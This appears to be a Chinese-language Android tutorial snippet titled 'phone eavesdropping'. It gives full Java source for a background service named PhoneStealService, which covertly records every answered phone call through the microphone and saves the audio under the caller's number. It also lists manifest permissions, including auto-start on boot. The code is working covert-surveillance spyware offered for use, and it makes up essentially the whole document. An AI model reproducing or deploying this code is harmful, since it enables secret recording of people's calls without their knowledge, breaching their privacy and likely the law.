標籤:
public class PhoneStealService extends Service {/** * 聲明電話狀態監聽器對象並執行個體化 */private PhoneStateListener phoneStateListener=new PhoneStateListener(){/** * 聲明存放來電號碼的變數 */private String incomingNumber;/** * 聲明媒體錄製器對象 */private MediaRecorder mediaRecorder;/** * 是否真正錄音 */private boolean isRecording;/** * 聲明錄製音訊檔案對象 */private File destFile;/** * 當裝置(電話)狀態發生變化時自動調用的方法 * @param state 電話狀態 * @param incomingNumber 來電號碼 */public void onCallStateChanged(int state, String incomingNumber) {switch (state) {/* * 電話處於空閑狀態。 * 空閑狀態分兩種情況: * A:一致處於空閑狀態 * B:使用者剛接完電話掛斷後迴歸到空閑狀態 */case TelephonyManager.CALL_STATE_IDLE:if(mediaRecorder!=null && isRecording){mediaRecorder.stop();mediaRecorder.release();mediaRecorder=null;isRecording=false;}System.out.println("===電話處於空閑狀態==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");break;//來電狀態,此時才有電話號碼case TelephonyManager.CALL_STATE_RINGING:this.incomingNumber=incomingNumber;System.out.println("===電話處於來電狀態==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");break;//接聽狀態case TelephonyManager.CALL_STATE_OFFHOOK://1.執行個體化媒體錄製器對象mediaRecorder=new MediaRecorder();//2.設定音頻來源為麥克風mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//3.設定音訊輸出格式為3gp格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//4.設定音頻編碼mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){String fileName=this.incomingNumber+"_"+System.currentTimeMillis()+".3gp";destFile=new File(Environment.getExternalStorageDirectory(),fileName);//5.設定錄音檔案的輸出路徑mediaRecorder.setOutputFile(destFile.getAbsolutePath());}try {//6.媒體錄製器處於就緒狀態mediaRecorder.prepare();//7.開始錄音mediaRecorder.start();} catch (IllegalStateException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();} System.out.println("===電話處於接聽狀態==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");break;}}};/** * 聲明電話管理器對象 */private TelephonyManager telephonyManager;@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();//通過系統服務得到電話管理器對象telephonyManager=(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);telephonyManager.listen(phoneStateListener,PhoneStateListener.LISTEN_CALL_STATE//指定監聽電話狀態);System.out.println("====PhoneStealService.onCreate()======");}@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onDestroy() {// TODO Auto-generated method stubsuper.onDestroy();if(telephonyManager!=null){//指定不再監聽電話狀態telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE);}}}
需要註冊許可權
<!-- 註冊讀取電話狀態的許可權 --> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 註冊錄製音訊許可權 --> <uses-permission android:name="android.permission.RECORD_AUDIO" /><!-- 註冊開機自啟動廣播的許可權 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- 註冊在手機的SDCard建立和刪除檔案的許可權 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /><!-- 註冊向手機SDCard檔案中寫入內容的許可權 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
Android 電話監聽